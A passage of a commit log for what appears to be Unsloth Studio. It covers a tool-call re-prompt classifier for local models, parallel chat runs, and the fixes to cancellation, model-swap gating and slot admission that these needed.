24 commits

Author	SHA1	Message	Date
oobabooga	957b994299	Studio: simplify the GGUF loading backend (#7663)	2026-08-03 01:09:49 -03:00
Nilay	22493242a3	Studio: Don't re-prompt finished answers in the tool loop (#7505) ... * don't re-prompt finished answers in the tool loop * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * keep a separate post-tool reprompt budget and tighten the intent regexes * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Reset the repeat guard after a tool runs and suppress 'I should call ...' forced stalls * Cover 'must' in forced-retry suppression, keep appended answers, and count RAG autoinject as a prior tool run * Anchor obligation suppression to sentence starts and wire the repeat guard into the safetensors loop * Keep deletions out of restatement and nudge pronoun-free first-step plans * Tighten repeat similarity, anchor subjectless plans, and restore first-step plan forms * Keep first-person plan framing and punctuation-bearing terms out of repeat detection * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Keep leading term punctuation, accept colon-delimited first steps, and drop invoke/query from suppression * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Tighten comments on the plan-without-action re-prompt guards * Compare plans by token sequence, suppress subjectless modals, and accept dash-delimited first steps * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: narrow the first-step plan match and make repeat detection content-based Restrict the bare "First, <word>" intent alternative to a pronoun, an explicit plan, or an investigative verb, so ordinal prose ("First place went to Alice") and user-facing advice ("First, install the package") no longer count as a plan without action. Keep punctuation-only tokens in the repeat comparison, so "the value is 5" and "the value is < 5" stay distinct, and compare content-word sequences instead of a similarity ratio: any ratio is length-dependent, so one corrected token in a 54-token plan still scored 0.98 and cost the model its remaining nudge. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: tighten comments in the plan-without-action re-prompt path * studio: keep a forced retry that pivots from a plan to an answer The obligation-plan branch discarded the whole turn, so a retry such as "I should call web_search, but the answer is Tokyo." reached the user as nothing at all. Suppress the plan only when nothing follows it: a pivot after the match keeps the output, and _FINAL_ANSWER_SIGNAL now recognises "the answer is" and "to summarise" alongside "answer:". Leaking a plan sentence is cosmetic, dropping an answer is not, so the doubtful case now resolves towards shipping the turn. * studio: keep articles in repeat comparison and exclude missing-answer phrasing Articles are not filler: dropping them made "search for The Who" and "search for Who" compare equal, so a corrected target ended the nudge. _FINAL_ANSWER_SIGNAL matched "the answer is not in the provided context", which announces a missing answer, so the plan behind it shipped as the final response instead of being suppressed. Negated forms are now excluded. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: tighten the pivot and final-answer signals, drop filler-insensitive repeats The purpose clause in "call web_search to summarize the results" matched the final-answer signal, so the plan shipped instead of being suppressed; that alternative is gone. A pivot word now has to carry text of its own, since "I should call web_search, though." answers nothing. Repeat detection no longer ignores filler words. No word is reliably filler: dropping them to absorb rewording also absorbed the target ("OK Go" became "Go"). A missed repeat costs one nudge out of the cap; a false one strands the plan unexecuted. * studio: exempt offers of help, and add a measured accuracy floor Offering to help hands control back exactly like the existing "let me know" exemption. On a corpus of real model turns, "I'll do my best to help" and "allow me to assist" close a clarification request and never precede a tool call, but they were read as intent and re-prompted. "help you" keeps its plan reading when an action verb follows it. The new test scores the classifier against 300 turns captured from three local GGUF models, each one a finished answer: the turn called no tool, and three regenerations behind the production nudge produced no tool call either. Over those turns, wasted nudges go from 36 (12.0%) on main to 5 (1.7%), and retries whose text would be discarded from 60 (20.2%) to 1 (0.3%). Until now these patterns were tuned on hand-written example sentences, which cannot show how often the classifier is right on real output. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Daniel Han <danielhanchen@gmail.com>	2026-07-29 02:38:17 -07:00
Daniel Han	570c804785	Studio: surface the tool-call nudge in the chat UI (#7559) ... * Studio: show a Nudging tool calls badge while the tool-call re-prompt runs * Guard the nudge status ordering assertion against index 0 * Tighten the nudge status comments * Announce the nudge text instead of the generic spinner label * Trim the nudge status comments Collapse the multi-line notes to fewer lines and drop one that restated the assert below it. The blank-before-badge ordering reason and the keep-in-sync contract are preserved. --------- Co-authored-by: danielhanchen <unslothai@gmail.com>	2026-07-28 18:20:50 -07:00
oobabooga	fc861cc870	Studio: preserve durations across reasoning blocks (#7520) ... * Studio: preserve durations across reasoning blocks * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep a reasoning group's timer running when it reopens A rendered reasoning group can be closed and then reopened: parseAssistantContent coalesces adjacent reasoning parts, so a provider that emits each block as a complete <think>...</think> chunk lands several blocks in one group. The tracker wrote a group's duration once and never revisited it, so such a group froze at its first close and displayed 0 seconds. Measure from the first time an index becomes visible rather than from the last startGroup, and reopen a closed group while its reasoning text is still growing. Gating on growth is what stops the timer running on into the answer. A duration supplied by the server is now recorded as authoritative so local timing cannot overwrite it. Also fill indices that a single delta skips. startGroup(n) could jump past earlier indices and leave array holes, which JSON.stringify persists as null; a skipped group became visible and closed inside the same chunk, so it gets a measured zero instead. Test discovery now globs tests/, so a second test file cannot be silently skipped by CI, and tsconfig.test.json puts tests/ under typecheck for the first time. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: danielhanchen <danielhanchen@gmail.com>	2026-07-28 04:53:26 -07:00
Daniel Han	c608649552	feat(studio): run chats in parallel in the Chat tab (#7455) ... * feat(studio): run chats in parallel in the Chat tab New Chat used to cancel whatever the current conversation was generating. It now leaves it running, like switching to the Train or Export tab: the sidebar shows which chats are still going, and Stop is per conversation. Plain `unsloth studio` launched llama-server with one decode slot, so the admission queue serialised every chat regardless of what the UI did. Both entry points now default to the same slot count as `unsloth studio run`. A model swap still ends every running chat, since they all decode on one llama-server. /load and /unload now refuse with 409 and name those chats unless the caller passes force_cancel_active, and the UI asks first. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fix(studio): scope the composer tool badge to its own conversation The green "Running Python: ..." badge above the composer read a single global store value, so one chat's tool call showed above every other chat's composer, including a brand-new empty one. Its elapsed counter also restarted at 0 on every thread switch, and a run ending anywhere cleared the badge everywhere. Key the status by thread and store the moment it started, so each conversation shows only its own tool call and the counter resumes rather than restarts. Also adds a test that every conversation gets its own tool sandbox directory, which parallel tool calls depend on. * Fix stalled tool calls while awaiting approval for PR #7455 Three problems, all from the approval prompt behaving as though only one chat could ever run. Arguments were not streamed for a gated call, so the chat stayed blank for as long as the model took to write the payload, which for a large file is minutes. Nothing runs before the decision either way, and the code is what is being approved, so python and terminal now stream their card while gated. render_html stays suppressed: its card renders the payload. The status read "Running ..." with a climbing timer while the call had not started. It now reports that it is waiting for approval, then switches to running once allowed. The admission lease was held across the wait, so four unanswered prompts held all four decode slots and no other chat could start while llama-server sat idle. A parked run keeps its lease but no longer counts against capacity. Measured with four prompts left open: every gated call streamed its code, none reported running, and a fresh chat answered in 0.4s where it previously waited 290s and never did. * Fix duplicated and truncated tool cards for PR #7455 A gated tool call rendered two cards: the provisional one that streams the arguments, plus a second one keyed by the approval id. Only the second ever got its tool_end, so the first spun "Running" for the rest of the chat. Reuse the open part when the approval prompt arrives. The terminal card also showed nothing but a 60-char trigger label, so a long heredoc read as no progress at all. It now renders the command the same way the Python card renders its script, and neither is capped at 10k chars. Both cells moved inside the collapsible, so one chevron hides the code with the output and Copy / Download exist only while the card is open. A card parked on the prompt says so instead of counting up "Running". * Fix review findings on the parallel-chat gate for PR #7455 Backend: - /unload rechecks active generations under the lifecycle gate, like /load, and lets its 409 through the catch-all instead of rewriting it as a 500. - /load gates only once _load_model_impl has decided this is a real reload, so an Apply on the already-loaded model no longer refuses, and the retry it asks for no longer cancels every chat before returning already_loaded. - The direct /v1/responses stream registers in the cancel registry, so a non-forced unload can no longer tear llama-server down under it. - run_server defaults to the same slot count as the CLI. colab.py calls it without the argument, so Colab was still serialising every chat. Frontend: - Cancelling a backgrounded chat aborts its own request rather than only posting a cancel id, which is the only thing that ends an external-provider or audio run. - The model-swap dialog counts local runs only, and falls back to the backend when this tab's map is empty, so a reload or a second tab still gets asked. - Context usage and the diffusion canvas are scoped to the chat that produced them; a compare row reads activity from its member threads. Tests: - The extracted-source cancel harnesses supply the active-generations module, which the tracked-cancel class now depends on. * Fix the swap confirmation scope and cancel timing for PR #7455 A forced load cancelled every chat before the model identifier, GPU selection, training coexistence and download checks had run, so a load that then failed those checks stopped the chats and replaced nothing. The refusal still happens early, but the destructive cancel now sits immediately before the teardown it is paying for, and rechecks under the gate like /unload does. The swap dialog only reconciled with the backend when this tab looked idle, so one local chat was enough to hide a second tab's runs. Confirming then sent force_cancel_active, which cancels every backend run, including the ones the dialog never mentioned. The backend snapshot is now merged in every time, so the dialog names what will actually stop. External-provider runs are never registered there, so the union stays local-only. Also drops the active-generations docstring claim about restoring sidebar spinners, which nothing consumes. * Defer destructive cancels and track every local stream for PR #7455 /unload cancelled the running chats before it had resolved that it unloads anything. A stale model_path, which a second tab produces routinely, killed every chat and then no-opped, leaving the resident model up. It now refuses early and cancels only at each teardown, matching /load. The swap dialog also stopped every chat locally the moment the user confirmed, which threw away the two-phase backend behaviour: a load that then failed identifier resolution, GPU validation or the training guard had already truncated the replies. The backend now owns the cancel. Three local streams decoded on llama-server without registering, so a non-forced unload counted zero generations and tore the server down mid response: /v1/completions streaming, and the plain and server-tool Anthropic streams, the first of which is the default /v1/messages path. Note this makes a non-forced load return 409 during those runs rather than draining quietly, the same trade the /v1/responses fix made. The safetensors tool loop still announced a gated call as running while it waited on a human; only the GGUF loop had been fixed. A source-level parity test now pins both. Also drops stopAllChatThreads, which has no callers left. * Studio: close three load/unload gate races found in review Re-check the in-flight load guard after the stop-running-chats confirm. The confirm always GETs active-generations before its zero-running early-out, so the guard no longer sits atomically ahead of the reservation and two picks in that window both reached performLoad over the same refs. ejectModel had the same shape and gets the same re-check. Reject a sidecar swap immediately before the forced cancel in both load branches. The previous check was back at the top of preflight, so an install reserving during identifier resolution, the tier probe, the training guard or the download check made the post-drain recheck 409 a load whose chats had already been stopped. Enter the Anthropic passthrough's cancel tracker inside its body generator. It was entered eagerly and returned through _sse_streaming_response, which sets no unstarted_cleanup, so a response whose body never started left the run registered forever and 409'd every later non-forced load and unload. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Trim comments across the files this PR touches Tightens the comments and doc blocks in the backend, CLI, tests and frontend files changed by this PR: collapses multi-line explanations to a single line where they still read clearly, and drops the ones the code already says. No code changes, verified by an AST comparison against the previous commit. * Studio: defer the destructive cancel and close two gate gaps Move the forced cancel behind every check that can still reject a swap. The drain now runs first with the runs it is about to cancel discounted, so it waits only for inference the cancel cannot end, then the sidecar check decides, then the cancel fires, then a second drain lets those runs unwind before teardown. A sidecar install reserving during the drain no longer 409s a load whose chats have already been stopped. Track the non-streaming /v1/completions proxy. It was the last local decode path missing from active_generations, so an unload, which runs no drain, tore llama-server down under it and force_cancel_active could not signal it. It now uses the same tracked cancel event and dedicated client as the OpenAI pass-through. Skip the client's preliminary unload while chats are generating and let /load evict at its own post-preflight point instead. Forwarding force_cancel_active there truncated replies before identifier resolution, the GPU and training guards and the download check had run. Keep per-thread context usage so returning to a chat whose background run finished restores its bar instead of leaving it blank until the next turn. Make the running-flag clear run-specific. Every run without a resolved thread id shares the "__default" key, so concurrent compare panes could clear each other's flag and strand a live stop handle. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: register the embeddings proxy with the swap gate /v1/embeddings proxied straight through the pooled client with no tracked cancel event, so it never appeared in active_generations. /unload runs no idle drain, so a concurrent non-forced unload counted zero generations and killed llama-server mid-request, and force_cancel_active had no event to signal. Mirrors the completions proxy: tracked event, dedicated unpooled client closed by a cancel/disconnect watcher, unregister in a nested finally so a close failure cannot leave a phantom generation behind. * Trim comments on the newest changes in this PR Comments only, no code changes: shorten the ones added by the load-gate ordering, embeddings and per-thread usage work down to the same density as the rest of the diff. * Studio: register the legacy generate stream with the swap gate /generate/stream built a cancel event but never entered the tracker, so it was invisible to active_generations. Being in the keep-warm middleware's inference suffixes only covers /load, which drains; /unload does not, so a non-forced unload passed the 409 gate and then blocked on the standard backend's generation lock, and a forced swap had no event to signal. Registered inside the body generator under a nested finally so a teardown failure cannot skip the unregister. The AST contract test asserted the cleanup finally by overwriting its flag per Try node, so a nested try made the last one win. Accumulate instead, which is what the existence claim meant. * Studio: three more swap-gate gaps found in review Register /audio/generate with the gate. TTS holds the model for the whole request and /unload runs no drain, so unregistered a non-forced swap counted zero generations and tore the model down mid-generation; the orchestrator path only waits 15s for the generation lock, which real TTS exceeds. No cancel keys: no backend takes a cancel_event for audio, so the event has no observer and a forced swap still cannot interrupt audio already in flight. Thread the tracked cancel event into the /v1/responses admission wait. It was the only admission caller passing None, so a queued run could not be reached by cancel_all() and a plain /inference/cancel could not stop it at all. Same omission fixed at the upstream send there and on /v1/completions. Let an unforced unload of a stale model path reach the no-op check. Before this PR that request returned 200 and did nothing; the new gate refused it with 409 for a request that reaches no teardown branch. Gate both refusal passes on the disjunction of the route's own teardown conditions, including not is_loaded, so a mid-load GGUF still refuses. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: register the remaining non-streaming decode paths stream defaults to false on all three of these, so they are the ordinary shape of their routes, and each holds a local backend for the whole request. /unload runs no idle drain, so with no registry entry a non-forced swap counted zero generations and tore the backend down mid-request instead of returning 409, and a forced one had no event to signal. Non-streaming /v1/messages: all three helpers ran with an empty registry, since only the streaming siblings were tracked. Registered at the call site because the pass-through takes no cancel_event of its own, and with no cancel keys, matching those siblings. Non-streaming standard chat and audio-input chat: the trackers in this route sit inside their `if payload.stream:` arms, so neither else branch was covered. The GGUF sibling already registers its own non-streaming branch. Each exit is in a finally on the branch's existing try, so the except arms are covered too: a leaked entry 409s every later swap until restart. * Studio: tighten the swap-gate comments Comment-only pass over the newest swap-gate registrations: collapse the multi-line rationales in /unload, the legacy generate stream, audio generation and the non-streaming chat branches, and the matching test preambles, to the shortest form that still carries the reason. No code changes. * Studio: stop the reselect dialog promising a stop that never happens Picking an external provider leaves the local model resident and stops the status poll mirroring it, so reselecting that model showed the stop-chats dialog, and /load then answered already_loaded ahead of its cancel hook. Confirmed with the live backend: the same pick with force_cancel_active set still returned already_loaded and the chat kept streaming. Not stopping those chats is right, since the load never interrupts them, so remove the prompt rather than honour it. Blanket-skipping is unsafe, because the same id and variant with one sampling setting changed is a real reload and 409s, so the branch only fires when a status fetch confirms the resident checkpoint and variant match, and then adopts it without calling /load. Redact native model paths from the active-generations response. Registering /generate/stream recorded backend.active_model_name verbatim, which is an absolute path for a native local model, and this route is the only place that serialises it. Redacting at the response covers every tracker rather than the one that surfaced it. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep hydrated context usage in the per-thread map The history loader restores a saved conversation's usage through setContextUsage only, and it runs once per mount, so switching away and back left the bar blank for a hydrated chat even after the per-thread map landed. setContextUsage now writes the value through to the visible thread's own entry and clears that entry when passed null, which covers both hydration call sites and any future writer. * Studio: unblock load cancellation and share unresolved thread keys Run the two stop-loading fast paths ahead of the unload route's pre-gate refusal. _unload_may_evict returns True for exactly the model being cancelled, so the refusal was blocking the branch that cancels a load which has replaced nothing and can interrupt no chat. The client made that unrecoverable: cancelLoading sends the unload without force, drops the result, and its abort never reaches /load, which takes no signal, so the load ran on and could later cancel those chats and swap the model. Nothing else is exempted; an unload that would tear down a serving model matches neither fast path and still 409s. The comment claiming the client lets that 409 surface is corrected, since it discards it. Hold every owner behind a shared thread key. Runs with no resolved thread id share "__default" (concurrent compare panes, since startCompare clears activeThreadId), so a single owner slot let a second run replace the first's token and then delete the shared entry while it was still generating, and the server-cancel map lost the older handle the same way. Both now hold a list, the running and local flags survive until the last owner clears, and stopChatThread stops every handle under the key. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: carry a confirmed swap into the sidecar install, key restored usage by thread Picking a model that needs a newer transformers while chats generate raised the "stop N chats" prompt, but the answer never reached the install that runs before the load: /install-latest-transformers refused on those same chats and took no force flag, so Retry hit the same 409 and nothing in the flow stopped them. Carry force_cancel_active through the consent dialog into the installer. Only the pre-gate fast path is skipped: the recheck under the lifecycle gate still has to pass, so an unconfirmed caller is refused as before. The cancel runs last inside the gate, after every check that can still reject the install, and the drain behind it is bounded since it holds the gate and the sidecar reservation. Also key restored context usage by the thread the loader read. history.load() captures remoteId before two awaited round trips, so a switch inside that window filed one thread's usage under another and setActiveThreadId kept re-applying it. Preserve sibling owners when a run key is cleared without an owner: the image rejection gate now uses its own token, and the reducer leaves owned runs alone. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: bound the post-cancel drains, and make cancellation reach the paths that ignored it A forced swap cancels the chats it interrupts, then waits for them to unwind. That wait had no deadline while holding the lifecycle gate, and TTS on the subprocess backend observes no cancel event at all, so one audio generation could pin every load, unload and new request for its whole duration. Bound both post-cancel drains. Pre-cancel drains stay unbounded: the swap can still be refused there, so shortening them would weaken what they protect. /unload had the opposite problem and no drain at all, cancelling and tearing down on the next line, which turned a clean stream end into a dropped connection. Give it the same bounded wait, gated on the cancel having cancelled something so an idle Eject pays nothing. Make the cancel actually land where it can. GGUF TTS now takes a cancel_event and a watcher closes its client to break the blocking POST. The Anthropic non-streaming pass-through did the same thing the completions and embeddings paths used to: register with the gate, then run both POSTs on the pooled client that cannot be closed. It now uses a per-request client like they do. Also: park and unpark the admission queue the reservation actually holds, since queues are keyed by base_url and a reload mints a new port; key tool output by remoteId on both sides, so the first turn of a New Chat stops writing under one key and reading another; and give tool status a run owner, so a finishing run cannot blank the badge a concurrent one is still showing. Clamp --parallel to 1 on a llama-server without --kv-unified. The new default of 4 would otherwise split -c four ways on such a build, quartering the context window for a feature it cannot serve. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: scope a chat's Stop to its own generation, and clear the way before a confirmed install Safetensors generation is serialized on _gen_lock and the worker has a single cancel event, so a chat still queued on that lock owns no generation. Its Stop handler called reset_generation_state() anyway, which set the shared event and ended whichever conversation was actually running. Parallel chats is what makes that reachable. _generate_inner now records its cancel_event as the current holder once it takes the lock, and reset_generation_state drops a reset from anyone else. Every route call site passes its own request event. A reset with no event stays global, so unload and model switch cannot leave a generation alive, and a reset while nothing runs still resets, so an error path before generation is not a no-op. The other two backends take the argument too, or the standard one raises TypeError on every cancel. The sidecar install had the mirror of the /load ordering problem: it cancelled the chats first and drained second, so an unrelated counted request the cancel cannot reach (a count_tokens, say) was still there for the recheck, which then refused an install that had already stopped every chat for nothing. Drain the unreachable remainder first, discounting the registered chats, then cancel. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: close the windows the previous round's fixes left open Three follow-ups, two of them holes in the fixes just before them. The worker claim went in after _send_cmd, so the command was already running unclaimed and a queued chat's Stop in that window still reset it. Claim first, with the send inside the same try, so a failed send releases it too. Tool status kept one entry per key with an owner. That stops a foreign clear but not an overwrite: under the shared unresolved-thread key the second run replaced the first's entry, and its own clear then removed the only one while the first tool was still running. Keep per-run entries and render the newest. /unload gated its drain on having cancelled something, so a request that passed the keep-warm middleware but had not reached its tracker yet was invisible to it and the teardown landed on an already-admitted request. Drain on the middleware count instead, which covers that window as well as the cancelled runs, then re-cancel whatever registered while waiting. Bounded, not a refusal: an unload is deliberate, and on expiry it proceeds exactly as before. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Trim the parallel-chats comments to their reasons Compress the multi-line rationales added by this branch into shorter forms and drop restatements of the code below them. The reasons behind the drain bounds, the deferred cancel, the per-request generation ownership and the thread-scoped tool and usage keys are kept, just said in fewer lines. * Studio: own the worker per generation, and make a resumed chat requeue for its slot Ownership was a single lock holder, so dispatched runs (compare mode bypasses _gen_lock by design) never claimed it and the guard fell straight through to the global reset: a Stop on one of them ended its siblings. Track the generations actually running instead, claimed before the send and released in the same finally on both paths. A reset still proceeds when nothing is running, so an error path ahead of generation is not swallowed. park() hands the freed slot to a waiter, so a chat resuming from a tool approval could take it back while that waiter was still decoding, putting two holders on a one-slot server and sending the resumed tool loop past the admission limit. unpark_async waits for room; the plain unpark stays for a holder tearing down, which will not decode again. Audio only observed its cancel event on a forced swap. An explicit Stop just aborts the fetch, and this route has no cancel id, so llama-server ran on to the request timeout after the chat reported it stopped. Watch the disconnect. Also read tool status by remoteId, matching the key the adapter writes and the fix already made for tool output, and stop an unresolved run from writing its usage into whichever conversation the user moved to. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: let only the generation the worker is running speak for it, and hold a slot for a resuming chat The ownership list recorded admission, but the subprocess runs generations one at a time, so a dispatched request queued behind another counted as an owner and its Stop signalled the shared cancel event, ending the request that was actually running. Keep admission for release bookkeeping and gate ownership on execution instead, promoted when the worker first answers that request. Nothing executing still permits a reset, so an error path ahead of generation is not swallowed. The worker has one cancel event and no per-request cancellation, so this decides who may pull the lever rather than making the lever per-request. A resuming chat also polled for a slot it could never see: release() grants to the next waiter under the same lock, so later arrivals overtook an approved chat indefinitely. A pending unpark now reserves the next slot and they queue behind it. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: cover the prefill window, and keep a first turn's tool output readable Gating worker ownership on execution left the interval between the send and the first response uncovered: nothing is executing then, and the empty case admitted anyone, so a queued chat's Stop still ended the one in prefill. Split the empty case. Nothing claimed at all still permits a reset, so an error path ahead of generation is not swallowed; claimed but unanswered resolves to the oldest claim, which is what a FIFO command queue is working on. Putting both sides of the tool-output scope on remoteId left the first turn of a New Chat writing under the unresolved scope for its whole life while the readers recomputed the moment the autosave assigned an id, so the card blanked mid-run. The readers now fall back to the unresolved scope, which only an unpersisted first turn can occupy. * Studio: order the parked approvals, and tie a worker claim to its enqueue The reservation added for admission fairness was a bare count, so every approved holder counted against every other: park two chats, approve both, and once the last decoder released, nothing could ever satisfy the check again. That is a deadlock where the problem it fixed was only unfairness. Make it a FIFO ticket so a pending unpark blocks the ones behind it and no others. _owns_worker reads claim order to decide which request the worker is prefilling, which only holds if claiming and enqueuing cannot interleave. Hold one lock across both on the dispatched and the locked path. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: follow a first turn's run when its thread gets an id, and key the denoising canvas per chat A run started before its thread existed filed every handle under "__default". Nothing moved them once autosave assigned the real id, so the sidebar row showed no spinner and Stop could not reach the generation, which kept holding a slot. adoptDefaultThreadRun re-keys the run maps onto the real id from the thread adapter's initialize(), where the id first exists; anything already filed under that id wins, since that is a later run. The adapter captures its key once at run start, so it now resolves the live key per use through runKeyForOwner, looking its own serverCancel up in the owner map. Without that the migrated entries are stranded and the spinner never clears. The denoising canvas was one global slot, so two diffusion chats overwrote each other and the ownership tag then hid the visible preview until that thread emitted again. It is now activeDiffusionCanvasByThreadId, written and cleared per thread, and the frame no longer carries a threadId of its own. The bubble reads threadListItem.remoteId, dropping the dead threadListItem.id arm: the writer tags unstable_threadId, which is exactly remoteId. Two existing backend tests needed the same treatment. _bare_orchestrator skips __init__, so it now sets the claim bookkeeping the worker ownership check reads. The Anthropic passthrough gate test anchored on comment prose that a rewrap had broken; it anchors on the code instead. * Studio: hand the worker over cleanly between generations, and stop unresolved runs sharing each other's state Worker ownership moved off the consumer and onto the dispatcher. Consumers read their mailbox whenever they get around to it, so a request whose gen_done had been routed still owned the worker while the next one ran, and a late Stop for it cancelled that one. The dispatcher is the only place responses arrive in the order the worker produced them: it now retires a request at its terminal response and promotes the next one, and answering a request makes it the sole executor, since the subprocess runs one generation at a time. reserve()'s immediate path ignored the unpark tickets that _grant_waiters_locked already honours, so a request arriving between a slot freeing and an approved chat's next poll took it, repeatedly. It applies the same reservation now. Three places let concurrent first turns share state through the "__default" key. Nothing links a run filed there to the id its thread later receives, so rather than guess, each now declines when the key is ambiguous: adoption only re-keys a lone run, the composer badge only claims a lone status, and the tool-output fallback only applies to a thread that is still running. That leaves two concurrent first turns where they were before adoption existed instead of handing one thread the other's handles. A first turn's usage was never filed, because its key stayed null for the whole run while autosave moved activeThreadId to the real id, so the context bar went blank after the first reply. It resolves the adopted key like the cleanup handles do. Cancelling a forced load left the UI with no model: the previous one stays resident until /load's teardown, and the cancel path cleared the checkpoint without rolling back. It now resyncs from the backend, which is right whether or not the load got that far. The sidecar install drain is weighted 1:4 rather than halved, total unchanged. Only the second half benefits from patience, and cutting it short refused installs whose chats had already been stopped for nothing. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: give a first turn its real thread id before the run starts A first turn filed every run handle under a shared unresolved key because assistant-ui binds unstable_threadId before the thread is persisted. Two of them overlapping there is unresolvable afterwards, and the last round's migration could only decline rather than guess, which left neither sidebar row showing its run. The id is available earlier than I claimed. append() already tracks threadListItem.initialize() by the user message id, and createPersistedRunAdapter already awaits that promise before invoking the adapter, so the thread is persisted by the time the run begins. It was only being discarded: the tracked promise resolved to void. It now resolves to the assigned id, and the wrapper hands it to the adapter when assistant-ui had none. An id that is already set is never replaced, since that would move a running chat's handles out from under the row watching them. The existing unresolved-key guards stay as a safety net but should no longer carry weight. The sidebar counted running thread ids rather than rows, so one compare conversation read as two chats. It folds ids into rows through the same threadIds the row spinner uses, and still counts a running id that matches no row. _TrackedCancel always registered kind="chat", so an embeddings or raw completions request appeared in the model-swap prompt as an unnamed conversation and confirming cancelled it while calling it a chat. The non-conversation routes now pass their own kind, and the prompt says "requests" whenever the snapshot is not all chats. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: withhold the shared worker cancel from a request the worker has left Moving ownership to the dispatcher fixed reset_generation_state, but the token loop signals the shared worker event directly and did not carry the same rule. A dispatched consumer runs with mark_started off and can still be draining tokens buffered before its gen_done was routed, so stopping it there ended whichever request the worker had started next. It now signals only when _owns_worker agrees, the same predicate reset_generation_state uses. The local drain and return are unconditional, since those touch nothing but this stream. The remaining _cancel_generation callers are deliberately global: subprocess shutdown, the pre-load kill and unload_model. * Studio: add the AGPL-3.0 header to the first-turn identity test * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: stop the dispatcher and a _gen_lock stream fighting over the response queue Nothing stopped the dispatcher starting under a _gen_lock generation, so once compare was opened while an ordinary chat was still streaming, both consumed _resp_queue and whichever response the dispatcher took without a mailbox was dropped, gen_done included. That chat truncated or hung. This PR is what makes it reachable, since navigating into compare no longer ends the chat behind it. Delaying the dispatcher would serialise compare behind whatever chat happens to be streaming, so the direct readers get a mailbox instead. _direct_reader returns a reader, a cancel drain and a release, and files the mailbox under _direct_mailboxes rather than _mailboxes, which means "compare requests are in flight" to the unload and distributed paths and must not count an ordinary chat. Both directions close. The dispatcher finds the direct reader's mailbox instead of dropping. And this reader can already be blocked on the queue when a compare request's dispatcher starts, so a response that is not ours goes to its own mailbox rather than being consumed, which would have corrupted the chat and hung the pane. All three _gen_lock readers use it, and the cancel drain goes through it too. The sidebar's return target still picked a raw pane id while the count grouped by row, and /chat addresses compare with `compare`, not `thread`. It resolves through the same items now, so a running compare row returns to its pair. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep worker ownership honest across audio, API traffic and a replaced worker The audio-input send got a mailbox last round but stayed unclaimed, so a compare request queued behind it looked like the oldest owner and stopping that queued request signalled the shared event into the audio chat. It claims under the send lock and releases in the finally, like _generate_inner. Ownership is keyed on cancel-event identity with nothing tying it to a worker generation, so a consumer still blocked on its mailbox when the process was replaced stayed recorded as the executor, and a generation on the fresh worker could not be stopped. _shutdown_subprocess clears that state once the process is confirmed dead, mailboxes included: nothing routes to them again, and a stale one reads as compare activity to the unload path. Not on the survived-SIGKILL path, which keeps its handle on purpose. The four public /v1/messages trackers were registering as chats. The distinction is a Studio thread, not the protocol, and those branches already say "No thread_id: public API surface" while the Studio path passes payload.thread_id separately. They carry their own kind now, so the swap prompt stops calling an external request a chat. The swap confirmation still counted raw pane ids, so a compare conversation asked to stop two chats and listed its title twice. It folds panes onto pairId and lowers the count by what it collapsed, leaving a first turn the backend can count but not name. Deep Research set runningByThreadId but registered no server-cancel handle, and that map is how Stop, archive and delete reach a thread that is no longer active. Leaving the outgoing thread running is this PR's doing, so the run was left unreachable while its supervisor kept working against a conversation the user could delete. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: tighten the parallel-chats comments * Studio: replay a Deep Research stop that arrived before the run existed The handle is registered before createResearchRun resolves because the thread can be stopped while that request is in flight, but it had no id to act on and dropped the stop. The supervisor then followed a run the user had already stopped, archived or deleted. It latches instead: a stop with no id yet sets a flag, and the adapter replays it against the id the moment creation returns rather than starting to follow. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: fix worker ownership on a raced reroute, and the stop-chats prompt Four review findings on the parallel-chats work, all reproduced first. - _direct_reader hands a foreign response to its own mailbox, but skipped the ownership move the dispatcher makes. A _gen_lock reader already blocked on resp_queue can beat the compare dispatcher to that request's first response, and the compare consumer opts out of marking, so nothing promoted it: the direct request stayed the recorded executor, its late reset cancelled the compare generation, and the compare chat's own Stop was ignored. - A chat stopped while queued on _gen_lock was still claimed and sent once the lock freed. Cancellation is only checked on a token, so a long prefill, or a generation reaching gen_done without one, occupied the worker after Stop. 